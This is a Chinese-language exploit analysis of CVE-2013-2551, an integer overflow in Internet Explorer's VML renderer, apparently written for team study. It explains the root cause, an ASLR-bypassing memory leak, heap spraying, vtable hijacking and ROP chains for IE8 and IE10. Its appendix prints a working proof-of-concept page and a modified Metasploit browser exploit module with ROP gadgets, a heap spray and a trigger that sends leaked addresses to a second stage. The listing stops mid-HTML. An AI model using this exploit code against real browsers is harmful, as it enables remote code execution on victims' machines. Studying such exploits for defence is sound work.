CVE-2013-2551漏洞成因与利用分析

1. 简介

　　VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10，5月22日VUPEN在其博客上公布了漏洞的细节。它是一个ORG数组整数溢出漏洞，由于此漏洞的特殊性，使得攻击者可以通过整数溢出修改数组的长度，获取任意内存读写的能力，最终绕过ASLR并获取控制权限实现远程代码执行。

　　在漏洞公布不久，就有人写出了对应的metasploit利用代码，不过其代码只支持Win7+IE8环境。通过分析，想要在Win7+IE10下成功利用此漏洞需要解决几个关键问题，并运用几个技巧。本文首先参考已有的分析文章，根据自己的理解对漏洞成因再次进行综合分析，记录分析过程及结果，方便小组成员学习。然后针对IE8、IE10两个环境，对漏洞利用所使用的技术及技巧进行总结。

2. 实验环境

　　操作系统：Win7 SP1 (6.1.7601.17514)

　　浏览器：IE10.0.9200.16540

　　漏洞编号：CVE-2013-2551

3. 漏洞分析

　　这个漏洞是由于负责VML解析的模块VGX.DLL，在处理<v:stroke>标签的dashstyle.array.length属性时，没有对传入的参数进行完备验证而导致的整数溢出。攻击者利用这个漏洞能够对任意地址进行读写操作——通过读取敏感内存信息、改写对象虚函数表，就能够完美绕过重重内存防护机制实现任意代码执行。

3.1. VML

　　VML（Vector Markup Language）矢量标记语言是SVG的前身，它仍然被IE10所支持，通过它可以在页面中表现二维矢量图形。值得说明的是IE10在默认情况下是不支持VML的，但通过在HTML中加入有关对文档模式的声明，可以使IE10正常解析VML标签。VML被vgx.dll（C:\Program Files\Common Files\Microsoft Shared\VGX）所实现，可以通过附件中的VML.html来简单了解VML的使用。

3.2. 漏洞成因

　　VML为shape元素实现了一个Stroke子元素，Stroke子元素有一个DashStyle属性。DashStyle可以是一个常数也可以是一个自定义的类型。例如下面的使用方法：

　　当通过JS读取dashstyle属性时，其内部会调用"vgx!COAStroke::get_dashstyle()"，随后"vgx!COAStroke::get_dashstyle()"调用子函数"vgx!COAShapeProg::GetOALineDashStyle()"并最终返回一个COALineDashStyle对象。

　　dashstyle属性的功能是被COALineDashStyle对象实现的，COALineDashStyle对象的方法如下，其中get_value/put_value是针对dashstyle为常数的情况。

　　如果dashstyle属性是自定义类型，调用COALineDashStyle::get_array()方法，将会在其子函数COAShapeProg::GetOALineDashStyleArray()中返回一个COALineDashStyleArray对象。

　　COALineDashStyleArray对象用来管理自定义类型的dashstyle属性，其方法如下：

　　设置或者读取dashstyle.array.length属性时，对应的put_length或get_length函数就会被调用；利用数组下标访问dash.array属性时，对应的put_item或get_item函数就会被调用。

　　使用JS语句对dashstyle属性赋值时，例如：stroke.dashstyle = "1 2 3 4"，函数vgx!ParseDashStyle会被调用，将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配，每个数组成员占四字节内存，所以ORG数组的缓冲区大小为数组成员个数×4(byte)。在对dashstyle.array.length属性赋值时，数组成员的个数会改变，在put_length函数中会根据新设置的值来重新为ORG数组成分配内存。然而在put_length中存在一个整数溢出漏洞，漏洞相关代码如下：

　　可以看出漏洞成因就在于put_length函数判断当前长度current_length和desired_length长度时，使用跳转指令是用于判断有符号数的jge指令，而数组长度是一个unsiged int类型的变量。因此当传入desired_length的值为有符号数0xFFFFFFFF时，会导致跳转至loc_1008B844处，进而调用ORG::DeleteRange。执行流程为：ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。

　　进入MsoFRemovePx函数时，arg_4=current_length-desired_length，arg_8=desired_length。

　　在MsoFRemovePx函数内部，最终将desired_length设置成了current_length，使得在没有重新分配内存的情况下将ORG数组长度current_length改写成0xFFFF。因此，可以通过此时的ORG数组获得越界访问。

　　要想成功触发漏洞，须使用JS将dashstyle.array.length的值设置为0xFFFFFFFF，但是如果直接使用语句dashstyle.array.length = 0xFFFFFFFF。会提示错误有"溢出"发生，将0xFFFFFFFF改为(0-1)就能够成功触发漏洞了。

　　“漏洞成因”结合“信息泄露”的源代码在附录poc (CVE-2013-2551).html中给出，请参见附件。

4. 漏洞利用

4.1. Bypass ASLR

4.1.1.  信息泄露

　　VML shape的_vgRuntimeStyle属性由COARuntimeStyle对象负责处理，它包含很多方法，如下

　　使用JS语句设置或者读取_vgRuntimeStyle.marginLeft属性时，对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用。

　　如果是第一次访问marginLeft/rotation属性，那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo来创建一个COARuntimeStyle对象，该对象大小为0xAC（实际分配0xB0）。

　　而marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。同样get_marginLeft函数在读取marginLeft属性时，也是通过访问这个对象偏移0x58位置上的字符串指针来完成的。

　　COARuntimeStyle::put_marginLeft()

　　因此，我们可以设置堆内存，使得ORG数组在一个COARuntimeStyle对象前面。然后通过ORG数组用任意值（这里使用0x7ffe0300）越界重写marginLeft属性的字符串指针，再使用COARuntimeStyle::get_marginLeft()将任意内存地址（0x7ffe0300）处的内容读取出来。0x7ffe0300处保存着ntdll!KiFastSystemCall的地址，通过此地址减去相应偏移即可得到当前ntdll.dll的内存基址。

　　也可以通过ORG数组越界读随后COARuntimeStyle对象的前4字节（虚函数表指针），最终减去相应偏移即可得到当前vgx.dll的内存基址。

　　信息泄露部分的源代码见附件poc (CVE-2013-2551).html

4.1.2. 定位shellcode

　　定位shellcode有两种方法可控选择，使用的最多的方法就是堆喷射，但是它并不是一种完美的利用方法。完美的利用方法是通过漏洞读取出shellcode的地址。我使用两种方法分别实现了IE10下的漏洞利用。

4.1.2.1. 通过堆喷射布局shellcode

　　使用堆喷射可以方便的布局我们的shellcode在指定的内存处。在IE8下，堆喷射使用常见的heapLib技术。IE10下，heapLib不再奏效，我们可以通过DEPS技术实现堆喷射。具体技术资料及源码很多，此处不再赘述。

4.1.2.2. 通过漏洞定位shellcode

　　由于此漏洞的特殊性，使其具有任意地址读的能力。参见4.1.1信息泄露部分，我们可以将shellcode作为COARuntimeStyle的marginLeft属性值，再通过触发漏洞使用ORG数组越界读取出shellcode的地址。其原理与“信息泄露”一致，主要在于代码实现，请参见“CVE-2013-2551_MS13-037(IE10noHeapSpray).rb”。

4.2. 获取控制权

　　当通过JS读取_anchorRect属性时，其内部会调用"vgx!COAShape::get__anchorRect()"，最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。

　　因此有这样一种利用场景：创建大量的COAReturnedPointsForAnchor对象，在其中为Dashstyle属性创建具有4个元素的ORG数组使其内存布局刚好位于大量COAReturnedPointsForAnchor对象之间。然后利用漏洞通过ORG数组越界改写其后COAReturnedPointsForAnchor对象的虚函数表指针，从而获取控制权。具体步骤如下：

　　1) 创建大量的COAShape元素（v:shape）

　　2) 遍历每个COAShape的_anchorRect属性，这样就可以创建COAReturnedPointsForAnchor元素，在遍历的过程中，某个地方给dashstyle属性赋值，这样会创建ORG对　　　 象，为保证ORG对象和COAReturnedPointsForAnchor对象在同一个堆块并且地址连续，ORG的元素数目为4个，正好 4×4 = 0x10。

　　3) Dashstyle.array.length = -1，触发漏洞。由于漏洞被触发，Dashstyle.array的长度被修改为0xffff,可以越界写内存

　　4) dashstyle.array.item(6) = 0x0c0c0c0c，修改ORG后面的COAReturnedPointsForAnchor虚表指针。Item(6)是为了跳过堆首部的8个字节。

　　5) 释放_anchorRec元素，当被修改虚表指针的元素被删除时，会通过虚表调用Release函数，这样就可以被攻击者获得控制权。

4.3. Bypass DEP

4.3.1. IE8

　　首先来看当被修改虚函数表指针的COAReturnedPointsForAnchor对象将要被释放时，索引其Release虚函数的过程。

　　如上图所示，（98行）ecx保存着对象UserPtr地址，并将其首4字节（虚函数表指针）传递给eax，然后（100行）调用虚函数表的第三个函数。而在“获取控制权”阶段我们已经将对象的首4字节改写成了0x0c0c0c0c，因此它将在0x0c0c0c0c处的伪造虚函数表中索引虚函数表并调用。

　　在IE8下通过常规的heapLib技术进行堆喷射，将shellcode布局在0x0c0c0c0c处。并在0x0c0c0c0c处伪造虚函数表，构造ROP chain。

　　如上图所示，0x0c0c0c0c处就是根据之后虚函数被调用顺序，构造的ROP chain，将切换堆栈的指令（xchg eax,esp）的地址放在了0x0c0c0c0c + 0x08处，这样当程序接下来调用虚基表中的第3个虚函数Release时，就在伪造的虚函数表0x0c0c0c0c处索引第三个函数地址，并执行xchg eax,esp; retn指令

　　注意，当调用“第三个虚函数”时，eax保存着虚函数表指针（此时为0x0c0c0c0c），ecx保存着对象UserPtr指针。其随后的执行流程如下：

　　1) 通过xchg eax,esp指令可将堆栈切换到0x0c0c0c0c上，使得esp指向0x0c0c0c0c处。随后执行retn指令时，将会在新的堆栈（0x0c0c0c0c）上索引返回地址并

跳转执行。

　　2) 执行0x0c0c0c0c处第一个4字节地址所指向的指令——retn。继续在堆栈上索引返回地址。

　　3) 执行0x0c0c0c0c处第二个4字节地址所指向的指令——pop ebx; retn。意在跳过0x0c0c0c0c处的第三个4字节，并将第四个4字节的值作为返回地址并执行。

　　4) 第四个4字节为实际为ntdll!ZwProtectVirtualMemory函数地址，其返回地址、调用参数已经硬编码到随后的shellcode中。其目的在于修改0x0c0c0c40处0x400字

节大小的内存空间的属性，将其修改成可执行页面。

　　5) ntdll!ZwProtectVirtualMemory执行完毕后从堆栈上索引返回地址，跳转到0x0c0c0c40处继续执行，最终绕过了DEP，实现了任意代码执行。

4.3.2. IE10

　　在IE10下，我们将面对两个关键问题。首先是以前常用的堆喷射技术（heapLib）不再奏效；其次是编译器做了调整，在索引虚函数时eax不再保存虚函数表指针，转而保存对象UserPtr指针，并由ecx来保存虚函数表指针。其造成的结果是指令串xchg ecx,esp; retn;对应的字节码变长（变为87E1C3，而xchg eax,esp; retn为94C3），使得在内存中很难搜索到能够满足类似要求的指令串，从而无法轻易控制esp。（IE10下相关代码如下图所示）

　　针对IE10，我找到了可替代的堆喷射方法——DEPS，关于DEPS的技术细节及实现请参见参考资料链接。

　　而当在ntdll.dll中尝试搜索实现类似功能的指令串（xchg ecx,esp; retn;）无果后，需要重新理清思路。想明白我们能控制什么，尽最大可能利用它们仍然可以绕过阻碍。

4.3.2.1. 堆喷射下ROP chain构造

　　在IE10下使用DEPS技术仍然可以进行堆喷射，并把我们的shellcode部署在指定内存空间，demo中将shellcode部署在0x0c0c2228处。此时我们重点关注如何在call dword ptr [ecx+8]时控制堆栈，使得esp切换到指定的内存空间处（0x0c0c2228）

　　在IE8下，我们通过漏洞使用ORG数组越界改写了对象的虚函数表指针，最终对象在释放过程中将索引我们伪造的虚函数，并在一个ROP gadget中实现对堆栈的控制。但IE10下保存虚函数表指针的寄存器变成了ecx，保存对象指针的寄存器变成了eax，此时无法在一个ROP gadget中实现类似xchg ecx,esp; retn的功能。

　　此时，我们面对的情况为：保存对象指针的eax、保存对象虚函数表指针的ecx、一个具有越界读写对象能力的ORG数组。

　　因此，可以使用ORG数组进一步越界改写对象头部，利用容易找到的xchg eax,esp; retn指令串先将堆栈切换到对象内存空间上。然后再通过其他的ROP gadget将堆栈切换到shellcode处（0x0c0c2228）。实现对堆栈esp的完全控制。

　　首先通过mona.py搜索ntdll.dll中所有可能的gadget后。在其搜索结果中寻找可用的ROP gadget。最终效果如下：

　　由于我们使用了堆喷射技术对shellcode进行布局，因此我们能够确切的知道其内存位置（0x0c0c2228），在调用ntdll!ZwProtectVirtualMemory修改shellcode内存空间可执行权限时基本不存在问题，可以通过硬编码设置当前堆栈上的返回地址、参数值等。如下图所示：

4.3.2.2. 无堆喷射下ROP chain构造

  • 获取shellcode地址

　　在4.1.1信息泄露部分，已经介绍了利用COARuntimeStyle对象及其marginLeft属性来读取任意地址处的值。如果将shellcode作为COARuntimeStyle的marginLeft属性，再通过触发漏洞，可以很容易获得shellcode的地址，这样就可以不使用heap spray，实现完美的利用。利用方法如下：

　　其中#{js_code}为shellcode，marginLeftAddress即为读取到的shellcode地址。

  • 构造ROP chain

　　由于shellcode地址是动态获取的，因此在构造ROP chain（尤其是在堆栈上为ntdll!ZwProtectVirtualMemory构造返回地址及参数）时不能使用硬编码。构造ROP chain是一项考验并激发创造力的体力活，其中mona.py为我们创造了条件，提供了很多便利。

　　在为其构造ROP chain时运用了几个小技巧，下面一一讲解，首先来看函数的定义

　　其总体思想是将ntdll!ZwProtectVirtualMemory函数调用的函数地址、返回地址、参数依次传递给edi、esi、ebp、esp、ebx、edx、ecx。然后使用pushad; retn指令串将其布局在堆栈上并调用，调用pushad; retn指令串前的要求寄存器环境为：

　　因为ntdll!ZwProtectVirtualMemory函数的参数中有指针，参数NumberOfBytesToProtect即为一个指针，指向要修改保护属性的字节数。在ROP chain中可以使用push esp; pop; pop retn的指令串来动态获得当前的地址，例如下图122行代码所示，其ROP gadget将NumberOfBytesToProtect的地址传递给了esi，最终传递给了ebx

　

　　ntdll!ZwProtectVirtualMemory的参数BaseAddress也是一个指针，指向要修改内存属性的内存基址。调用pushad; retn前，要使esp指向想要修改内存属性的内存基址也需要一点小技巧，我的实现如下图。143行代码首先获取当前堆栈的地址，然后将其加0x40字节，并写入其值所指的内存中。即指针所指的内存空间保存着指针的地址。

　　最后，真正的返回地址（esi）要指向最终的payload，它将会被布局在ROP chain之后，即pushad; retn指令串之后的+4字节处（pushad； retn指令串之后的4字节保存BaseAddress）。因此，还需要将eax加4字节再传递给esi。

　　由于在shellcode中不能出现/u0000，因此在指定NewAccessProtection时，通过加法指令溢出寄存器，使其变为0x00000040。其实现过程如下：

　　至此，构造ROP chain时所运用的几个技巧已经讲解完毕。此处也可以将shellcode分开存放，即将payload作为COARuntimeStyle的marginLeft属性存放；将伪造的虚函数表及用于改写payload所在页面属性的ZwProtectVirtualMemory参数布局在ntdll.dll的.rsrc处，即可省去复杂的ROP构造；

　　构造ROP chain虽然是体力活，但也考验并激发创造力。有点像走一根有障碍的独木桥，想明白自己能控制什么，尽最大可能利用它们绕过阻碍，最终展现那奇妙可能性时的成就感妙不可言。

5. 总结

　　网上也已经有多篇文章对CVE-2013-2551漏洞成因与利用方法进行了分析说明。个人认为它是学习漏洞利用技术非常好的一个例子，通过这一个漏洞可以了解学习到漏洞利用过程中的多种技术与技巧。

6. 参考资料

[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)：http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

[2] CVE-2013-2551利用技巧分析：http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c

[3] CVE-2013-2551利用分析：http://zenhumany.blog.163.com/blog/static/171806633201403114815739/

7. 附录

7.1. poc (CVE-2013-2551).html

  1. <html>
  2. <head>
  3. <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
  4. </head>
  5.  
  6. <title>
  7. POC by VUPEN
  8. </title>
  9.  
  10. <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
  11.  
  12. <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
  13.  
  14. <body onload="createRects(); exploit();">
  15. <v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
  16. <v:oval>
  17. <v:stroke id="vml1"/>
  18. </v:oval>
  19. </body>
  20.  
  21. <script>
  22.  
  23. var rect_array = new Array()
  24. var a = new Array()
  25.  
  26. function createRects(){
  27.   for(var i=0; i<0x400; i++){
  28.     rect_array[i]    = document.createElement("v:shape")
  29.     rect_array[i].id = "rect" + i.toString()
  30.     document.body.appendChild(rect_array[i])
  31.   }
  32. }
  33.  
  34. function exploit(){
  35.  
  36.   var vml1  = document.getElementById("vml1")
  37.  
  38.   for (var i=0; i<0x400; i++){
  39.     a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  40.   }
  41.  
  42.   for (var i=0; i<0x400; i++){
  43.     a[i].rotation;
  44.     if (i == 0x300) {
  45.       vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  46.     }
  47.   }
  48.  
  49.   var length_orig = vml1.dashstyle.array.length;
  50.   vml1.dashstyle.array.length = 0 - 1;   
  51.  
  52.   for (var i=0; i<0x400; i++)
  53.   {
  54.     a[i].marginLeft = "a";                                                                
  55.  
  56.     marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
  57.  
  58.     if (marginLeftAddress > 0) {
  59.       vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
  60.       var leak = a[i].marginLeft;
  61.       vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
  62.       vml1.dashstyle.array.length = length_orig;
  63.       alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
  64.       return;
  65.     }
  66.   }
  67.  
  68. }
  69. </script>
  70.  
  71. </html>

7.2. CVE-2013-2551_MS13-037(IE10).rb

  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. #   http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11.   Rank = NormalRanking
  12.  
  13.   include Msf::Exploit::Remote::HttpServer::HTML
  14.   include Msf::Exploit::RopDb
  15.   include Msf::Exploit::Remote::BrowserAutopwn
  16.  
  17.   autopwn_info({
  18.     :ua_name    => HttpClients::IE,
  19.     :ua_minver  => "10.0",
  20.     :ua_maxver  => "10.0",
  21.     :javascript => true,
  22.     :os_name    => OperatingSystems::WINDOWS,
  23.     :rank       => Rank
  24.   })
  25.  
  26.   def initialize(info={})
  27.     super(update_info(info,
  28.       'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
  29.       'Description'    => %q{
  30.           This module exploits an integer overflow vulnerability on Internet Explorer.
  31.         The vulnerability exists in the handling of the dashstyle.array length for vml
  32.         shapes on the vgx.dll module. This module has been tested successfully on Windows 7
  33.         SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
  34.         to use an info leak to disclose the ntdll.dll base address is provided. This target
  35.         requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
  36.         installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
  37.       },
  38.       'License'        => MSF_LICENSE,
  39.       'Author'         =>
  40.         [
  41.           'Nicolas Joly', # Vulnerability discovery, PoC and analysis
  42.           'Danny (modified from Nicolas Joly)', # PoC
  43.           'juan vazquez' # Metasploit module
  44.         ],
  45.       'References'     =>
  46.         [
  47.           [ 'CVE', '2013-2551' ],
  48.           [ 'OSVDB', '' ],
  49.           [ 'BID', '' ],
  50.           [ 'MSB', 'MS13-037' ],
  51.           [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
  52.           [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
  53.         ],
  54.       'Payload'        =>
  55.         {
  56.           'Space'          => 948,
  57.           'DisableNops'    => true,
  58.           'BadChars'       => "\x00",
  59.           'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  60.         },
  61.       'DefaultOptions'  =>
  62.         {
  63.           'InitialAutoRunScript' => 'migrate -f'
  64.         },
  65.       'Platform'       => 'win',
  66.       'Targets'        =>
  67.         [
  68.           [ 'Automatic', {} ],
  69.           [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
  70.             {
  71.               'Rop' => :jre,
  72.               'Offset' => '0x5f4'
  73.             }
  74.           ],
  75.           # requires:
  76.           # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
  77.           # * ntdll.dll v6.1.7601.17725 (MS12-001)
  78.           [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
  79.             {
  80.               'Rop' => :ntdll,
  81.               'Offset' => '0x5f4'
  82.             }
  83.           ]
  84.         ],
  85.       'Privileged'     => false,
  86.       'DisclosureDate' => "Mar 06 2013",
  87.       'DefaultTarget'  => 0))
  88.  
  89.     register_options(
  90.       [
  91.         OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  92.       ], self.class)
  93.  
  94.   end
  95.  
  96.   def exploit
  97.     @second_stage_url = rand_text_alpha(10)
  98.     @leak_param = rand_text_alpha(5)
  99.     super
  100.   end
  101.  
  102. ###############################
  103.  
  104.   def get_ntdll_rop
  105.     case @ntdll_version
  106.     when "6.1.7601.17514"
  107.       stack_pivot = [
  108.         @ntdll_base+0x0001578a, # ret # from ntdll
  109.         @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
  110.         @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
  111.       ].pack("V*")
  112.       ntdll_rop = [
  113.         @ntdll_base+0x00047643,     # pop edi # retn
  114.         @ntdll_base+0x00045F18,     # ntdll!ZwProtectVirtualMemory
  115.         @ntdll_base+0x000c71ef,        # pop esi # retn
  116.         0x0c0c227c,                    # ret to shellcode                    0x0c0c2228+21*4 = 0x0c0c227c
  117.         @ntdll_base+0x000cb72a,        # pop ebp # retn
  118.         0xffffffff,                    # ProcessHandle
  119.         @ntdll_base+0x000348b9,        # pop ebx # retn
  120.         0x0c0c2274,                    # ptr to NumberOfBytesToProtect        0x0c0c2228+19*4 = 0x0c0c2274
  121.         @ntdll_base+0x0009a30c,        # pop eax # retn
  122.         0xFA3DFA7F,
  123.         @ntdll_base+0x0003ab39,        # add eax,5C205C1 # retn
  124.         @ntdll_base+0x00036d70,        # xchg eax,edx # retn    (-> put 0x00000040 into edx)
  125.         @ntdll_base+0x000cd241,        # pop ecx # retn
  126.         0x0c0c2278,                    # ptr to OldAccessProtection
  127.         @ntdll_base+0x000227c4,        # PUSHAD # RETN        eax ecx edx ebx esp(original) ebp esi edi
  128.         0x0c0c227c,                    # BaseAddress
  129.         0x00010400,                    # NumberOfBytesToProtect
  130.         0x41414141,                    # OldAccessProtection
  131.       ].pack("V*")
  132.       return stack_pivot + ntdll_rop
  133.     when "6.1.7601.17725"        # 未构造
  134.       stack_pivot = [
  135.         @ntdll_base+0x0001579a, # ret # from ntdll
  136.         @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
  137.         @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
  138.       ].pack("V*")
  139.       ntdll_rop = [
  140.         @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
  141.         0x0c0c0c40, # ret to shellcode
  142.         0xffffffff, # ProcessHandle
  143.         0x0c0c0c34, # ptr to BaseAddress
  144.         0x0c0c0c38, # ptr to NumberOfBytesToProtect
  145.         0x00000040, # NewAccessProtection
  146.         0x0c0c0c3c, # ptr to OldAccessProtection
  147.         0x0c0c0c40, # BaseAddress
  148.         0x00000400, # NumberOfBytesToProtect
  149.         0x41414141  # OldAccessProtection
  150.       ].pack("V*")
  151.       return stack_pivot + ntdll_rop
  152.     else
  153.       return ""
  154.     end
  155.   end
  156.  
  157.   def get_payload(t, cli)
  158.     code = payload.encoded
  159.     # No rop. Just return the payload.
  160.     return code if t['Rop'].nil?
  161.  
  162.     # Both ROP chains generated by mona.py - See corelan.be
  163.     case t['Rop']
  164.     when :jre
  165.       print_status("Using JRE ROP")
  166.       stack_pivot = [
  167.         0x7c348b06, # ret # from msvcr71
  168.         0x7c341748, # pop ebx # ret # from msvcr71
  169.         0x7c348b05  # xchg eax, esp # ret from msvcr71
  170.       ].pack("V*")
  171.       rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
  172.     when :ntdll
  173.       print_status("Using ntdll ROP")
  174.       rop_payload = get_ntdll_rop + code
  175.     end
  176.  
  177.     return rop_payload
  178.   end
  179.  
  180.   def load_exploit_html(my_target, cli)
  181.     p  = get_payload(my_target, cli)
  182.  
  183.     js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  184.     js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
  185.     js_ntdllBase = @ntdll_base
  186.  
  187.     js_trigger = %Q|
  188.  
  189.     // Land the payload at 0x0c0c2228
  190. function HeapSpray(){
  191.  
  192.     var div_container = document.getElementById("blah");
  193.     div_container.style.cssText = "display:none";
  194.  
  195.     var data;
  196.     var offset = 0x104;
  197.     var nops = unescape("#{js_nops}");
  198.     var code = unescape("#{js_code}");
  199.  
  200.     while (nops.length < 0x1000) nops += nops;
  201.  
  202.     data = nops.substring(0,offset) + code;
  203.     data += nops.substring(0,0x800-offset-code.length);
  204.  
  205.     while (data.length < 0x80000) data += data;
  206.  
  207.     // IE 8, 9 and 10 : 0x0c0c2228
  208.     for (var i = 0; i < 0x350; i++)
  209.     {
  210.         var obj = document.createElement("button");
  211.         obj.title = data.substring(0,0x40000-0x58); //aligned spray
  212.         div_container.appendChild(obj);
  213.     }
  214.  
  215. }
  216.  
  217.     var rect_array = new Array();
  218.     var a = new Array();
  219.     var ntdllBase = #{js_ntdllBase};
  220.  
  221. function createRects(){
  222.  
  223.   for(var i=0; i<0x1000; i++){
  224.     rect_array[i]    = document.createElement("v:shape")
  225.     rect_array[i].id = "rect" + i.toString()
  226.     document.body.appendChild(rect_array[i])
  227.   }
  228.  
  229. }
  230.  
  231. function exploit(){
  232.  
  233.   var vml1 = document.getElementById("vml1")
  234.  
  235.   for (var i=0; i<0x1000; i++){
  236.     a[i] = document.getElementById("rect" + i.toString())._anchorRect;
  237.     if (i == 0x800) {
  238.       vml1.dashstyle = "1 2 3 4"
  239.     }
  240.   }
  241.  
  242.   vml1.dashstyle.array.length = 0 - 1;
  243.   tempp = vml1.dashstyle.array.item(6);
  244.   vml1.dashstyle.array.item(6) = 0x0c0c2228;    // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
  245.   vml1.dashstyle.array.item(8) = 0x0c0c2228;    // ebx
  246.   vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d;    // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN     @ntdll_base + 0xcc18d = 0x770cc18d
  247.  
  248.   //for (var i=0; i<0x1000; i++)
  249.   {
  250.     delete a[0x801];
  251.     CollectGarbage();
  252.   }
  253.   //location.reload();
  254.  
  255. }
  256.     |
  257.  
  258.     heap_spray_func = "HeapSpray"
  259.     create_rects_func = "createRects"
  260.     exploit_func = "exploit"
  261.  
  262.     if datastore['OBFUSCATE']
  263.       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
  264.       js_trigger.obfuscate
  265.       heap_spray_func = js_trigger.sym("HeapSpray")
  266.       create_rects_func = js_trigger.sym("createRects")
  267.       exploit_func = js_trigger.sym("exploit")
  268.     end
  269.  
  270.     html = %Q|
  271. <html>
  272. <head>
  273. <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
  274. </head>
  275.  
  276. <title>
  277. </title>
  278.  
  279. <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
  280.  
  281. <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
  282.  
  283. <script>
  284. #{js_trigger}
  285. </script>
  286.  
  287. <body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();">
  288. <div id="blah"></div>
  289. <v:oval>
  290. <v:stroke id="vml1"/>
  291. </v:oval>
  292. </body>
  293.  
  294. </html>
  295.     |
  296.  
  297.     return html
  298.   end
  299.  
  300.   def html_info_leak
  301.  
  302.     js_trigger = %Q|
  303.     var rect_array = new Array()
  304.     var a = new Array()
  305.  
  306. function createRects(){
  307.   for(var i=0; i<0x400; i++){
  308.     rect_array[i]    = document.createElement("v:shape")
  309.     rect_array[i].id = "rect" + i.toString()
  310.     document.body.appendChild(rect_array[i])
  311.   }
  312. }
  313.  
  314. function exploit(){
  315.  
  316.   var vml1  = document.getElementById("vml1")
  317.  
  318.   for (var i=0; i<0x400; i++){
  319.     a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  320.   }
  321.  
  322.   for (var i=0; i<0x400; i++){
  323.     a[i].rotation;
  324.     if (i == 0x300) {
  325.       vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  326.     }
  327.   }
  328.  
  329.   var length_orig = vml1.dashstyle.array.length;
  330.   vml1.dashstyle.array.length = 0 - 1;
  331.  
  332.   for (var i=0; i<0x400; i++)
  333.   {
  334.     a[i].marginLeft = "a";
  335.     marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
  336.     if (marginLeftAddress > 0) {
  337.       vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
  338.       var leak = a[i].marginLeft;
  339.       vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
  340.       vml1.dashstyle.array.length = length_orig;
  341.       document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
  342.       return;
  343.     }
  344.   }
  345.  
  346. }
  347.     |
  348.  
  349.     create_rects_func = "createRects"
  350.     exploit_func = "exploit"
  351.  
  352.     if datastore['OBFUSCATE']
  353.       js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
  354.       js_trigger.obfuscate
  355.       create_rects_func = js_trigger.sym("createRects")
  356.       exploit_func = js_trigger.sym("exploit")
  357.     end
  358.  
  359.     html = %Q|
  360. <html>
  361. <head>
  362. <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
  363. </head>
  364. <title>
